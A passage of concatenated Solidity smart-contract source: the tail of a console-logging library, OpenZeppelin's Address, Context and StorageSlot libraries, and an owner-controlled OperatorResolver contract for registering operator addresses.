_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/IOperatorResolver.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Operator Resolver implementation
/// @notice Resolve the operators address
contract OperatorResolver is IOperatorResolver, Ownable {
/// @dev Operators map of the name and address
mapping(bytes32 => Operator) public operators;
/// @inheritdoc IOperatorResolver
function getOperator(bytes32 name) external view override returns (Operator memory) {
return operators[name];
}
/// @inheritdoc IOperatorResolver
function requireAndGetOperator(bytes32 name, string calldata reason)
external
view
override
returns (Operator memory)
{
Operator memory _foundOperator = operators[name];
require(_foundOperator.implementation != address(0), reason);
return _foundOperator;
}
/// @inheritdoc IOperatorResolver
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
override
returns (bool)
{
uint256 namesLength = names.length;
require(namesLength == destinations.length, "OR: INPUTS_LENGTH_MUST_MATCH");
for (uint256 i = 0; i < namesLength; i++) {
if (
operators[names[i]].implementation != destinations[i].implementation ||
operators[names[i]].selector != destinations[i].selector
) {
return false;
}
}
return true;
}
/// @inheritdoc IOperatorResolver
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external override onlyOwner {
require(names.length == operatorsToImport.length, "OR: INPUTS_LENGTH_MUST_MATCH");
bytes32 name;
Operator calldata destination;
for (uint256 i = 0; i < names.length; i++) {
name = names[i];
destination = operatorsToImport[i];
operators[name] = destination;
emit OperatorImported(name, destination);
}
// rebuild caches atomically
// see. https://github.com/code-423n4/2021-11-nested-findings/issues/217
rebuildCaches(destinations);
}
/// @notice rebuild the caches of mixin smart contracts
/// @param destinations The list of mixinOperatorResolver to rebuild
function rebuildCaches(MixinOperatorResolver[] calldata destinations) public onlyOwner {
for (uint256 i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
